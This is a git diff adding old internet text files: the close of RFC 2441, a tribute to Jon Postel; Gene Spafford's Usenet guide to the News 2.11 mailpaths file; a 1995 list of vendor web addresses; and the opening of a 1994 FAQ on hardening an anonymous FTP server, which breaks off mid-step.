Working with Jon November 1998 + + + I will miss him even more as a colleague and a friend. + +In Summary: + + * Jon was pleasant, fun/funny, and unselfish. + He was full of mischief, adventure, humor, and caring. + He was devoted to his work, to the Internet, and to the + people who worked with him. + + * It was great working together and having neighboring + offices for 16 years. + + * Jon set the standards for the Internet standards. + + * Jon was the Internet's corporate memory, the corporate taste, + and the corporate style. + + * Jon was an authority without bureaucracy. + + * Jon was an Internet Missionary. + + * Jon was a great friend that I will miss for ever. + +Security Considerations + + Security issues are not relevant to this Tribute. + +Author's Address + + Danny Cohen + Myricom + + EMail: cohen@myri.com + + + + + + + + + + + + + + + + + + +Cohen Informational [Page 5] + +RFC 2441 Working with Jon November 1998 + + +Full Copyright Statement + + Copyright (C) The Internet Society (1998). All Rights Reserved. + + This document and translations of it may be copied and furnished to + others, and derivative works that comment on or otherwise explain it + or assist in its implementation may be prepared, copied, published + and distributed, in whole or in part, without restriction of any + kind, provided that the above copyright notice and this paragraph are + included on all such copies and derivative works. However, this + document itself may not be modified in any way, such as by removing + the copyright notice or references to the Internet Society or other + Internet organizations, except as needed for the purpose of + developing Internet standards in which case the procedures for + copyrights defined in the Internet Standards process must be + followed, or as required to translate it into languages other than + English. + + The limited permissions granted above are perpetual and will not be + revoked by the Internet Society or its successors or assigns. + + This document and the information contained herein is provided on an + "AS IS" basis and THE INTERNET SOCIETY AND THE INTERNET ENGINEERING + TASK FORCE DISCLAIMS ALL WARRANTIES, EXPRESS OR IMPLIED, INCLUDING + BUT NOT LIMITED TO ANY WARRANTY THAT THE USE OF THE INFORMATION + HEREIN WILL NOT INFRINGE ANY RIGHTS OR ANY IMPLIED WARRANTIES OF + MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. + + + + + + + + + + + + + + + + + + + + + + + + +Cohen Informational [Page 6] + diff --git a/textfiles.com/internet/s b/textfiles.com/internet/s new file mode 100644 index 00000000..f64016de --- /dev/null +++ b/textfiles.com/internet/s @@ -0,0 +1,146 @@ +Path: micasa!moore!telly!comspec!tvcent!lethe!torsqnt!news-server.csri.toronto.edu!rpi!zaphod.mps.ohio-state.edu!samsung!news.cs.indiana.edu!purdue!spaf +From: spaf@cs.purdue.EDU (Gene Spafford) +Newsgroups: news.lists,news.admin +Subject: How to Construct the Mailpaths File +Message-ID: <15404@ector.cs.purdue.edu> +Date: 25 Jul 91 23:16:03 GMT +Expires: 23 Oct 91 23:16:02 GMT +Followup-To: news.lists +Organization: Dept. of Computer Sciences, Purdue Univ. +Lines: 133 +Approved: spaf@cs.purdue.EDU +Supersedes: <14700@ector.cs.purdue.edu> + +Original-from: Gene Spafford (spaf@cs.purdue.edu) +[Most recent change: 23 Jul 1991 by spaf@cs.purdue.edu (Gene Spafford)] + +News 2.11 has been designed to make it simpler to submit articles to +moderated newsgroups and to reply via mail to posted articles. For +these functions to work, the file "mailpaths" must exist in the news +library and contain current information. This file describes the +syntax of the contents of the file and how to construct it for your site. + +Syntax +------ +All lines in the file consist of a keyword followed by whitespace, +followed by a printf-style format string which is used to encode a mail +address. The format string should be constructed so that there is a +single "%s" in the field, and other information necessary to construct +a valid address to the appropriate site (see below). + +The keyword field consists of either the word "internet", the word +"backbone", or some newsgroup pattern. These are examined by the +software to determine which format-string to use. Note that the first +appropriate line matched is the one used -- thus, the "backbone" +keyword line should be placed last in the line if regional or local +moderated groups are supported. + +Addresses that end up with both "!" and "@" symbols in the resulting +address get converted so that only "!" symbols appear in the final +address. An address of the form "foo!bar!baz@barf" will get converted +to "foo!bar!barf!baz" and then mailed. This should work properly, for +"dumb" mailers but you should test it to make sure; "smart" mailers +should have the format fields encoded as a simple "%s". Note that *any* +address with more than a single "@" in it is illegal. + +Submissions to moderated groups +------------------------------- +When you attempt to post to a moderated newsgroup (indicated by the +letter "m" in the 4th field of the "active" file for that group), +the action of "inews" is to mail the submission to the moderator. +This is done by searching through "mailpaths" file for a keyword +matching the newgroup being posted to, or, by default, the keyword +"backbone". Matching occurs as in the "sys" file -- thus, +"world" and "all" will also match everything, while "news" or +"news.all" will only match articles posted in the "news" category. +This feature can be used to support local moderated groups. + +Once a line has been matched, the name of the moderated group is +transformed into an address. This is done by first turning all the +imbedded periods within the newsgroup name into hyphens (e.g., +"news.lists" becomes "news-lists") because many mailers mishandle +addresses with periods in the username (periods are supposed to be +delimiters only in the host/domain part of RFC822 addresses, but some +mailers "overreact"). Next, the transformed group name is encoded into +an address using the format-string present on the line matched from +"mailpaths" and the article is mailed. Thus, a posting to "news.lists" +from a site with the line + backbone emory!gatech!%s +in the mailpaths file would have the article mailed to +"emory!gatech!news-lists". Likewise, a line like + backbone %s@gatech.edu +would result in the article being mailed to "news-lists@gatech.edu". +To make the mechanism for moderated postings simpler, a subset of the +best-connected sites (plus some others) have committed to keeping a complete +up-to-date set of mail aliases for the moderated groups. Therefore, to +build this line in your "mailpaths" file, you need only construct +an address to get the mail to one of these sites. In turn, once the +submission reaches that site, it will be forwarded on to the +appropriate moderator's mailbox. + +The sites currently maintaining these lists are given in the following +list. Pick the one that is "closest" to your site and use it in your +"backbone" format string: + + ames (ames.arc.nasa.gov) + decuac (decuac.dec.com) + decwrl (decwrl.dec.com) + linus (linus.b.mitre.org) + kddlab (kddlab.kddlabs.co.jp) + mcnc (mcnc.org) + mit-eddie (eddie.mit.edu) + ncar (ncar.ucar.edu) + osu-cis (cis.ohio-state.edu) + rutgers (rutgers.edu) + ucsd (ucsd.edu) + tektronix (tektronix.tek.com) + ucbvax (ucbvax.berkeley.edu) + uflorida (uflorida.cis.ufl.edu) + uunet (uunet.uu.net) + uw-beaver (beaver.cs.washington.edu) + watmath (math.waterloo.edu) + + +Internet Mail +------------- +If you define the "INTERNET" flag when you build 2.11 news, the +software will use the internet-style "From:" header when addressing +replies mailed to postings. If your mailer does not have this capability, +you can still (possibly) achieve the same thing by defining the +"internet" line in your "mailpaths" file to forward such mail to +a host that does have a mailer which understands internet-style addresses. + +The format of this line is very similar to the "backbone" line. As an +example, consider: + internet emory!gatech!mcnc!%s +Thus, if "INTERNET" was defined when this version of news was built, +any reply to a news article would not travel along the "Path:", but +would instead be sent to "mcnc" for interpretation and remailing. +For example, to reply to this article, the mail would be sent to +"emory!gatech!mcnc!spaf@cs.purdue.edu" -> +"emory!gatech!mcnc!cs.purdue.edu!spaf" + +Note: This is being provided as a service to sites which do not +have routing mailers or which have difficulty replying to articles. +It is *NOT* intended for everyone to pass mail to other sites to send. +Excessive use of this feature may result in severe problems for +the sites doing the relaying, so please simply define this field to +be "%s" if your mailer understands domain-style (internet-style) +addressing. + +The following sites will accept internet-format mail for forwarding: + + decuac + kddlab + mcnc + ucsd + uunet + uw-beaver + watmath + + +-- +Gene Spafford +NSF/Purdue/U of Florida Software Engineering Research Center, +Dept. of Computer Sciences, Purdue University, W. Lafayette IN 47907-1398 +Internet: spaf@cs.purdue.edu phone: (317) 494-7825 diff --git a/textfiles.com/internet/sbjan95.www b/textfiles.com/internet/sbjan95.www new file mode 100644 index 00000000..f6f92615 --- /dev/null +++ b/textfiles.com/internet/sbjan95.www @@ -0,0 +1,430 @@ + + Page No. 1 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + 20/20 Software http://www.teleport.com/~ktbeers/2020_Software.htm + l + Adobe Systems Inc http://www.adobe.com/ + Advanced Gravis http://ibd.ar.com/IBD/Advanced_Gravis.html + Computer Technology + Advanced Gravis http://ibd.ar.com/IBD/Advanced_Gravis.html + Computer Technology + Advanced Micro Devices http://www.amd.com/ + Alacrity Systems Inc http://www.internex.com/DTP/Aladdin.html + Aladdin Systems Inc http://www.internex.com/DTP/Aladdin.html + Aldus Corp http://www.internex.com/DTP/Aldus.html + Amdahl http://www.amdahl.com/ + America OnLine Inc http://www.aol.com + Anderson Consulting & http://www.ac.com/ + Sof + Apex Software Corp http://www.apexsc.com/ + Apple Computer Inc http://www.apple.com/ + Arno Schaefer http://rbhp62.rbg.informatik.th-darmstadt.de/~scha + efer/home_eng.html + ArsLonga Group http://www.portal.com/~skip/ayli.html + ASCII Corp http://www.asciinet.or.jp/ + Asymetrix Corporation http://www.asymetrix.com/ + AT&T Global http://www.ncr.com + Information Solutions + AT&T Graphics Softw http://www.att.com + Labs + ATI Technologies Inc http://www.atitech.ca/ + Banyan Systems Inc http://www.banyan.com/ + Bell Atlantic http://www.ba.com/ + Berkeley Systems Inc http://www.bsdi.com/ or + http://www.berksys.com/ + Boardwatch Magazine http://www.boardwatch.com/ + Booklink Technology http://www.booklink.com/ + Borland International http://www.borland.com/ + Inc + Bristol Technology http://www.bristol.com/ + Brooklyn North http://watarts.uwaterloo.ca/ENGL/nrandall/html_edi + Software Works tors.html + Bruce Davidson URL: http://www.dur.ac.uk/~d22t8r + California Software http://www.calsoft.com/ + Design + Carlos Pires cacp@serv.peb.ufrj.br + Casady & Greene Inc http://www.holonet.net/casadyg/util.html + cc:Mail Inc http://www.ccmail.com/ + CERN Europen http://info.cern.ch./hypertext/WWW/TheProject.html + Organization for Part. + Cheyenne Software Inc http://www.chey.com/ + CICA (Internet FTP http://www.cica.indiana.edu/ + etc) + Page No. 2 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Cisco Systems Inc http://sunsite.unc.edu/cisco/cisco-home.html + Claris Corp http://www.claris.com/ + Clark Development Co http://ibd.ar.com/IBD/Clark_Development_Company,_I + nc.html + Coast to Coast http://www.coast.net/ + Telecommunications + Communications Week http://www.techweb.com/techweb/cw/current/default. + html + Compaq Computer Corp http://www.compaq.com/ + CompuServe Inc http://www.compuserve.com/ + Computer Reseller News http://techweb.cmp.com/techweb/crn/current/default + .html + Computer Retail Week http://techweb.cmp.com/techweb/crw/current/default + .html + Computer Shopper http://zcias3.ziff.com/%7Ecshoppper/ + Cool Software Inc http://www.coolsoft.com/ + Core Systems http://www.pylon.com:80/homeworld/ + Cornerstone Technology http://www.corsof.com/ + Creative Labs Inc http://www.creaf.com/ + Creative Programming http://www.onramp.net/~cpc/home.html + Consulting + Crosswise Corp http://www.crosswise.com/ + Crynwr Software http://www.crynwr.com/ + CyberMedia Inc http://www.internet-is.com/cybermedia/ + Cygnus Software http://www.cygnus.com/ + Dado Colussi http://www.helsinki.fi/~gcolussi + Data Fellows Ltd http://www.datafellows.fi/ + Data General Corp http://www.dg.com/ + Dataware http://www.datawave.net/ + Dell Computer Corp. http://www.us.dell.com/ + DeLorme Mapping Co. http://www.delorme.com/ + Inc + Delphi http://xmission.com/~wwwads/delphi.html + Delrina Corp http://www.delrina.com/ + Delrina Technology Inc http://www.delrina.com/ + Dialog Information http://tig.com/IBC/Dialog.html + Services + DigiBoard http://www.digibd.com/ + Digital Equipment Corp http://www.digital.com/ or + http://www.dec.com/ + Disclosure gopher://di.disclosure.com:8000/11/Disclosure%20In + formation%20Gopher%20%28DIG%29 + Dow Jones & Co http://www.secapl.com/secap/quoteserver/djia.html + Dun & Bradstreet http://www.corp.dnb.com/ + Information Servic + EE Times Interactive http://techweb.cmp.com/techweb/eet/current/default + .html + Electronic Arts Inc http://www.ea.com/ + EMS Professional http://www.paltech.com/ems/ems.htm + Software + Page No. 3 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Eric Engelmann http://www.paltech.com/ems/ems.htm + Farallon Computing Inc http://www.farallon.com/ + Felsina Software ftp://ftp.crl.com/users/ro/felsina/FelsHome.html + FINWeb http://riskweb.bus.utexas.edu/finweb.html + Fractal Design Corp http://www.fractal.com/ + Frame Technology Corp ftp://ftp.frame.com/ + Frontier Technologies http://www.frontiertech.com/ + Corp + FTP Software http://www.ftp.com/ + Fujitsu America Inc http://www.fai.com/ + Future Soft http://www.fse.com/fsehome.html + Engineering Inc + Gateway 2000 Inc http://www.mcs.com/~brooklyn/home.html + Gateway Communications http://www.gateway.com/ + Genie Information http://www.genie.com/ + Services Inc + Global Network http://www.nearnet.gnn.com/gnn/gnn.html + Navigator + Gupta Corp http://www.gupta.com/ + Halcyon Software Inc http://www.halcyon.com/ + Hewlett-Packard Co http://www.hp.com/ + Hitachi America Ltd http://www.hitachi.co.jp/ + Home PC http://techweb.cmp.com/techweb/hpc/current/default + .html + Honeywell Engineering http://www.honeywell.com/ + Sdn Bhd + Hundred Acre http://www.pooh.com/ + Consulting + IBM Personal Software http://www.ibm.com + IDG Books Worldwide http://www.oslonett.no/html/adv/IDG/IDG.html + IDX Technologies http://www.idx.com/ + InfoMagic Inc http://ibd.ar.com/IBD/InfoMagic,_Inc.html + Information Week http://techweb.cmp.com/techweb/iw/current/default. + html + Informix Software Inc http://www.informix.com/ + InfoWorld http://www.internet.net/cgi-bin/ehtml?/stores/info + world/index.html + Inmark Development http://www.inmark.com/ + Corp + Insignia Solutions Inc http://www.insignia.com/ + Intel Corp http://www.intel.com/ + Intellisoft Inc http://www.intellisoft.com/ + Inter@active Week http://www.interactive-week.ziff.com/~intweek/ + Interactive Age http://techweb.cmp.com/techweb/iaa/current/default + .html + Intercon http://www.intercon.com/ + Intergraph Corp http://www.intergraph.com/ + Interleaf http://www.ileaf.com/ + International Software http://www.issi.com/issi/issi-home_page.html + Systems + Page No. 4 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Internet Business http://www.tig.com/IBC/index.html + Center (IBC) + Interpath http://www.interpath.net/ + Intersolv http://www.intersolv.com/ + Intersolv http://www.intersolv.com/ + Intersolv http://www.intersolv.com/ + Intuit Inc http://www.careermosaic.com/cm/intuit/intuit1.html + or http://www.intuit.com/ + IPC Systems (M) Sdn http://www.ipctech.com/ + Bhd + James River Group http://ibd.ar.com/IBD/James_River_Group_Inc.html + or http://www.jriver.com/ + JSB Computer Systems http://www.jsb.com/ + Limited + Kai de Leeuw http://www.dsv.su.se/~kai-de/ + KOFAX Image Products http://ibd.ar.com/IBD/Kofax_Image_Products.html + Lahey Computer Systems http://ibd.ar.com/IBD/Lahey_Computer_Systems.html + Legato Systems Inc http://www.legato.com/ + Library of Congress http://Icweb.loc.gov/homepage/Ichp.html + Lotus Development Corp http://www.lotus.com/ + Macsyma Inc http://www.digital.com/gnn/meta/internet/mkt/macsy + ma/profile.html + MacUser http://www.macuser.ziff.com/~macweek/ + MacWEEK http://www.ziff.com/~macweek/ + Magma Inc http://ibd.ar.com/IBD/Magma.html + MainSoft Corp http://www.mainsoft.com/www/mainsoft + Mainstream Data Inc http://www.mainstream.com/ + Mark Becker http://falcon.cc.ukans.edu/~marc + Mark V Systems Ltd http://ibd.ar.com/IBD/Mark_V_Systems_Limited.html + or http://www.markv.com/ + MathSoft Inc http://www.mathsoft.com/ + Matsushita Sales & http://www.mei.co.jp/index.html + Services Sdn Bhd + McAfee Associates http://www.mcafee.com/ + McDonnel Douglas http://pat.mdc.com/ + MetaWare Inc http://www.metaware.com/ + Metro ImageBase http://ibd.ar.com/IBD/Artecon_Inc.htmhttp://www.we + bscope.com/artrageous/info.htm + Micro Design Int. Inc http://www.microdes.com/ + Micron Technology Inc http://www.micron.com/ + Microsoft Corporation http://www.microsoft.com + (.../pages/misc/whatsnew.htm) + Mimos (Internet FTP http://mimos.my + etc) + MIPS Technologies Inc http://www.mips.com/ + Mitsubishi Electronics http://www.merl.com/ + America Inc + Motorola Inc http://www.mot.com/ + National Center for http://www.ncsa.uiuc.edu/ + Supercomputers + Page No. 5 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + National Instruments http://www.natinst.com/ + Corp + National Semiconductor http://www.commerce.net/directories/participants/n + Corp s/home.html + NCR Corp http://www.ncr.com/ + NEC Technologies Inc http://www.nec.co.jp/index_e.html + NeoSoft http://www.neosoft.com/ + NetCom On-Line http://www.netcom.com/ + Communication Serv + NetGuide http://techweb.cmp.com/techweb/ntg/current/default + .html + NetManage Inc http://www.netmanage.com/ + Netscape http://mosaic/mcom.com/ + Communications + Network Computing http://techweb.cmp.com/techweb/nc/current/default. + html + Next Inc http://www.next.com/ + NOKIA Display Products http://www.nokia.com/ + Inc + Notis Systems Inc http://ibd.ar.com/IBD/NOTIS_Systems_Inc.html or + http://www.notis.com/ + Novell Inc http://www.novell.com/ + Oberon Software http://www.oberon.com/ + Odd de Presno http://login.eunet.no/~presno/index.html + Okidata http://www.oki.com/ + On Technology Inc http://www.on.com/ + Pacific http://www.netusa.com/ + Microelectronics Inc + Paradigm Software http://www.sf.psca.com/ + Development + Paragon Computers Sdn http://www.picosof.com/336 + Bhd + PC Computing http://zcias3.ziff.com/%7Epccomp/ + PC Docs Inc http://www.pcdocs.com/ + PC Magazine BBS http://zcias3.ziff.com/%7Epcmag/ + (MAGNET) + PC Telnet http://www.ncsa.uiuc.edu/SDG/Software/PCTelnet/">h + ere + PC Week http://zcias3.ziff.com/%7Epcweek/ + Peoplesoft Inc http://www.peoplesoft.com/ + Peregrine Systems http://www.peregrine.com/ + Performance Technology http://www.perftech.com/ + Inc + Personal Library http://www.pls.com/ + Software + Peter Brooks http://interport.net/~pbrooks/slipknot.html + Philips Consumer http://ibd.ar.com/IBD/Philips_Studio_Interactive.h + Electronics tml + Phoenix Technologies http://www.ptltd.com/ + Ltd + Page No. 6 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Pick Software http://www.picksys.com/ + Pierre R. Schwob http://www.hk.net/~pre + Pinnacle Micro Inc http://ibd.ar.com/IBD/Pinnacle_Micro.html + Pixar http://www.pixar.com/ + Prentice Hall (M) Sdn http://www.prenhall.com/ + Bhd + Prodigy Services Co http://www.astranet.com/abtprod1.html + Proxima Corp http://www.proxima.com/ + QMS Inc http://www.qms.com/ + QualComm Inc http://www.qualcomm.com/ + Qualit Inc ftp://ftp.netcom.com/pub/qualit/html/defhtml.htm + Quarterdeck Office http://www.qdeck.com/ + Systems Inc + Rational Data Systems http://ibd.ar.com/IBD/Rational.html + Richard L Ahrens http://futures.wharton.upenn.edu/~ahrens26/ivc11.z + ip + Rockwell International http://www.rockwell.com/ + Corp + RTZ Software file://ftp.netcom.com/pub/rtz/www/rtzhomepage.html + Samuel Marshall http://www.dur.ac.uk/~d405ua + SAS Institute http://www.sas.com/ + SAS Institute Inc http://www.sas.com/ + Schlumberger Systems http://www.slb.com/ + SCO http://www.sco.com/index.html + Seagate Singapore http://www.internex.com/DTP/Seagate.html + Seagate Technology Inc http://www.internex.com/DTP/Seagate.html + Sean O'Dell ftp://ftp.netcom.com/pub/seano/home.html + Semaphore Corp http://www.semaphore.com/ + Shiva Corporation http://www.shiva.com/ + Siemens http://www.contrib.de/cgi-bin/getComp/Siemens~~~Ni + xdorf~~~Informationssysteme~~~ + Silicon Systems http://www.ssi1.com/ + Silver Platter http://www.silverplatter.com/ + SimTel (Internet FTP http://www.acs.oakland.edu + etc) + SoftQuad http://watarts.uwaterloo.ca/ENGL/nrandall/html_edi + tors.html or http://www.sq.co + Softsource http://www.softsource.com/ + Software Creations http://www.swcbbs.com/ + Software Ventures Corp http://www.svcdudes.com/ + Sony Corp. of America http://www.sony.com/ + Spry Inc http://www.spry.com/ + SPSS Asia Pacific Pte http://www.spss.com/ + Ltd + SPSS Inc http://www.spss.com/ + Spyglass http://www.spyglass.com/ + SQLSOFT http://ibd.ar.com/IBD/SQL_Software_Ltd.html + Sterling Software http://www.sterling.com/ + Stone & Associates http://www.stoner.com/ + Page No. 7 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Strata Inc http://www.sci.dixie.edu/StrataInc/Home/home.html + Sumeria http://www.service.com/D3/sumeria/sumeria.html + Sun Microsystems Inc http://www.sun.com/ + Sunderland Software http://access/digex.net/~cschanck/ss/bingo.html + SuperMac Technology http://www.internex.com/DTP/SuperMac.html + Inc + Supra Corporation http://www.supra.com/ + Sybex Inc ftp://ftp.netcom.com/pub/sybex/sybex.html + Symantec Corp http://www.symantec.com/ + Symantec Corp http://www.symantec.com/ + T J R Cutts (Tim http://cyclin.zoo.cam.ac.uk/pub/refs/ + Cutts) + Tandem Computers http://www.tandem.com/ + Ted Johansson http://www-bprc.mps.ohio-state.edu/cgi-bin/hpp?Mod + emSta.html + Teleadapt http://traveller.eu.net/TeleAdapt/ + Telebit Corp http://www.telebit.com/ + Texas Instruments (M) ftp://ti.com/ + Sdn Bhd + Texas Instruments Inc ftp://ti.com/ + The Wollongong Group http://www.twg.com/ + Inc + Thomas-Conrad Corp http://www.tci.com/ + Time Warner http://www.timeinc.com/ + Interactive Group + Tippecanoe Systems Inc http://www.tippecanoe.com/ + Toshiba America http://www.global.net/toshiba.final.html + Information System + Traveling Software Inc http://www.halcyon.com/travsoft/homepage.htm + UMAX Technologies Inc http://www.internex.com/DTP/UMAX.html + University of gopher.tc.umn.edu + Minnesota Gopher + VAR Business http://techweb.cmp.com/techweb/vb/current/default. + html + Viewlogic Systems http://www.viewlogic.com/ + Voice of America News ftp.voa.gov /.newswire + Internet + Wall Data Inc http://www.walldata.com/ + Walnut Creek CD-ROM http://www.cdrom.com/ + WCSC http://www.pic.net/lobby/1floor/communic/wcs/wcs.h + tml + Welcom Software http://www.wst.com/index.html + Technology + Wilson Windowware Inc http://oneworld.wa.com/wilson/pages/index.html + Windows Magazine http://www.wais.com:80/win/current/ + Windows Rag Online http://www.eskimo.com/~scrufcat/wr.html + Computer Mag + Windows Sources http://zcias3.ziff.com/%7Ewsources/ + Wolf Communications http://www.worldcom.com/ + Page No. 8 + 01/03/95 + SoftBase (SBJAN95*.ZIP) report + of Internet WWW pages Software (and some hardware) suppliers + Internet e-mail: adam@testad.pc.my + + Company name WWW page + + + Wolfram Research Inc http://www.wri.com/ + Word Perfect http://www.wordperfect.com/ + Corporation + Wyse Technology Inc http://www.wyse.com/ + Xerox Corp http://www.xerox.com/ + Xircom Inc http://www.organic.com/Ads/Xircom/ + Zenith Data Systems http://www.quadralay.com/www/Austin/AustinBusiness + /Hoover/zenith.html + Ziff Communications Co http://www.ziff.com/ + Zyxel USA http://www.zyxel.com/  \ No newline at end of file diff --git a/textfiles.com/internet/sec_ftp.faq b/textfiles.com/internet/sec_ftp.faq new file mode 100644 index 00000000..5837825a --- /dev/null +++ b/textfiles.com/internet/sec_ftp.faq @@ -0,0 +1,541 @@ +Archive-name: computer-security/anonymous-ftp-faq +Post-Frequency: monthly +Last-modified: 1994/6/1 +Version: 1.3 + + How to set up a Secure Anonymous FTP Site + + The following is a FAQ on setting up a secure FTP Site. FTP sites +are known for much abuse by transferring illegal files. They also open many +oppurtunities for intruders to gain access via misconfigured setups. And +lastly many versions of ftp servers have had security holes. This FAQ is +intended to clean up this abuse by allowing administrators to go through this +check list of steps to make sure their FTP is correctly configured and that +they are running the most current ftp daemon. + +This is organized in the following fashion, I am breaking into several parts +as follows: + +Part 1 - General Description of Setting up an "anonymous" ftp server. +Part 2 - Setting up a chrooted Secure Anonymous ftp server. +Part 3 - OS Specific needed information and suggestions. +Part 4 - Where to get other FTP daemons +Part 5 - Archie +Part 6 - Acknowledgements. + + + + +Part 1 - General Description of Setting up an "anonymous" ftp server. + +How do I setup "anonymous" ftp securely? + +PLEASE READ ALL NOTES AND WARNINGS!!! + +1) Create the user ftp in /etc/passwd. Use a misc group. The user`s home +directory will be ~ftp where ~ftp is the root you wish anonymous users to +see. + +Use an invalid password and user shell for better security. The entry in the +passwd file should look something like: + + ftp:*:400:400:Anonymous FTP:/home/ftp:/bin/true + +2) Create the home directory ~ftp. Make the directory owned by root (NOT ftp) +with the same group as ftp. Thus, owner permissions are for root and group +permissions are for the anonymous users. Set the permissions for ~ftp to 555 +(read, nowrite, execute). + +3) Create the directory ~ftp/bin. This directory is owned by root (group +e.g. wheel) with permissions 111 (noread, nowrite, execute). + +4) Copy the program ls into ~ftp/bin. ls is owned by root with permissions +111 (noread, nowrite, execute). Any other commands you put in ~ftp/bin +should have the same permissions as well. + +5) Make the directory ~ftp/etc. This directory is owned by root with +permissions 111. + +6) Create from scratch the files /etc/passwd and /etc/group in ~ftp/etc. +These files should be mode 444. The passwd file should only contain root, +daemon, uucp, and ftp. The group file must contain ftp's group. Use your +/etc/passwd and /etc/group files as a template for creating passwd and group +files going to ~ftp/etc. You may even change the user names in this file, +they are used only for 'ls' command. So for example if all files in your +~ftp/pub/linux hierarchy will be maintained by a real user 'balon' with +uid=156 you may put + + linux:*:156:120:Kazik Balon:: + +in the ~ftp/etc/passwd file (regardless of his real username). Leave only +these users who will own files under ftp hierarchy (e.g. root, daemon, +ftp...) and definitely remove *ALL* passwords by replacing them with '*' so +the entry looks like: + + root:*:0:0:Ftp maintainer:: + ftp:*:400:400: Anonymous ftp:: + + For more security, you can just remove ~ftp/etc/passwd and +~ftp/etc/group (the effect is that ls -l will not show the directories' group +names). Wuarchive ftp daemon (and some others) have some extensions based on +the contents of the group/passwd files, so read the appropriate documentation. + +7) Make the directory ~ftp/pub. This directory is owned by you and has the +same group as ftp with permissions 555. On most systems (like SunOS) you may +want to make this directory 2555, ie. set-group-id, in order to create new +files with the same group ownership. + + +Files are left here for public distribution. All folders inside ~ftp/pub +should have the same permissions as 555. + +*** Neither the home directory (~ftp) nor any directory below it should be +owned by ftp! No files should be owned by ftp either. Modern ftp daemons +support all kinds of useful commands, such as chmod, that allow outsiders to +undo your careful permission settings. They also have configuration options +like the following (WuFTP) to disable them: + +# all the following default to "yes" for everybody +delete no guest,anonymous # delete permission? +overwrite no guest,anonymous # overwrite permission? +rename no guest,anonymous # rename permission? +chmod no anonymous # chmod permission? +umask no anonymous # umask permission? + + +8) If you wish to have a place for anonymous users to leave files, create +the directory ~ftp/pub/incoming. This directory is owned by root with +permissions 733. Do a 'chmod +t ~ftp/pub/incoming'. The ftp daemon will +normally not allow an anonymous user to overwrite an existing file, but a +normal user of the system would be able to delete anything. By setting the +mode to '1733' you prevent this from happening. In wuftpd you may configure +the daemon to create new files with permissions '600' owned by root or any +other user. Many times, incoming directories are abused by exchanging pirated +and pornographic material. Abusers often create hidden directories there for +this purpose. Making the incoming directory unreadable by anonymous ftp helps +to some extent. With ordinary ftp severs there is no way to prevent +directories being created in incoming. The WUarchive ftp server can limit +uploads to certain directories and can restrict characters used in file names +like this: + +# specify the upload directory information +upload /var/spool/ftp * no +upload /var/spool/ftp /incoming yes ftp staff 0600 nodirs + +# path filters + # path-filter... +path-filter anonymous /etc/msgs/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^- +path-filter guest /etc/msgs/pathmsg ^[-A-Za-z0-9_\.]*$ ^\. ^- + +Suggestion: Create an extra file-system for your ftp-area (or at least for +your incoming-area) to prevent a denial-of-service attack by filling your +disk with garbage (inside your incoming directory). + + If you have wuftpd you may want to add some ftp extensions like +compression/decompression 'on the fly' or creation of tar files for the +directory hierarchies. Get the appropriate sources (gzip, gnutar, compress), +compile them and link statically, put in the ~ftp/bin directory and edit the +appropriate file containing the definitions of the allowed conversions. +/usr/bin/tar is already statically-linked. You may wish to use gnu tar +anyway. + +Gary Mills wrote a small program to support the following: +I got compress from ftp.uu.net, in the root directory, I believe, and compiled +it. To do tar and compress, I wrote a tiny program called `pipe', and +statically-linked it. My /etc/ftpconversions file looks like this: + +#strip prefix:strip postfix:addon prefix:addon postfix:external command: +#types:options:description + :.Z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS + :-z: : :/bin/compress -d -c %s:T_REG|T_ASCII:O_UNCOMPRESS:UNCOMPRESS + : : :.Z:/bin/compress -c %s:T_REG:O_COMPRESS:COMPRESS + : : :.tar:/bin/tar cf - %s:T_REG|T_DIR:O_TAR:TAR + : : :.tar.Z:/bin/pipe /bin/tar cf - %s | /bin/compress -c:T_REG|T_DIR:O_COMP +RESS|O_TAR:TAR+COMPRESS + : : :.tar:/bin/gtar -c -f - %s:T_REG|T_DIR:O_TAR:TAR + : : :.tar.Z:/bin/gtar -c -Z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+COMPRES +S + : : :.tar.gz:/bin/gtar -c -z -f - %s:T_REG|T_DIR:O_COMPRESS|O_TAR:TAR+GZIP + +Here it is: +-----------------8<-------------cut--------------- +/* pipe.c: exec two commands in a pipe */ + +#define NULL (char *)0 +#define MAXA 16 + +main(argc, argv) int argc; char *argv[]; { + char *av1[MAXA], *av2[MAXA]; + int i, n, p[2], cpid; + + i = 0; n = 0; + while ( ++i < argc && n < MAXA ) { + if ( *argv[i] == '|' && *(argv[i]+1) == '\0' ) break; + av1[n++] = argv[i]; + } + if ( n == 0 ) uexit(); + av1[n] = NULL; + n = 0; + while ( ++i < argc && n < MAXA ) + av2[n++] = argv[i]; + if ( n == 0 ) uexit(); + av2[n] = NULL; + if ( pipe(p) != 0 ) exit(1); + if ( ( cpid = fork() ) == (-1) ) exit(1); + else if ( cpid == 0 ) { + (void)close(p[0]); + (void)close(1); + (void)dup(p[1]); + (void)close(p[1]); + (void)execv(av1[0], av1); + _exit(127); + } + else { + (void)close(p[1]); + (void)close(0); + (void)dup(p[0]); + (void)close(p[0]); + (void)execv(av2[0], av2); + _exit(127); + } + /*NOTREACHED*/ +} + +uexit() { + (void)write(2, "Usage: pipe | \n", 34); + exit(1); +} + + + +9) Other things to do: + +as root: touch 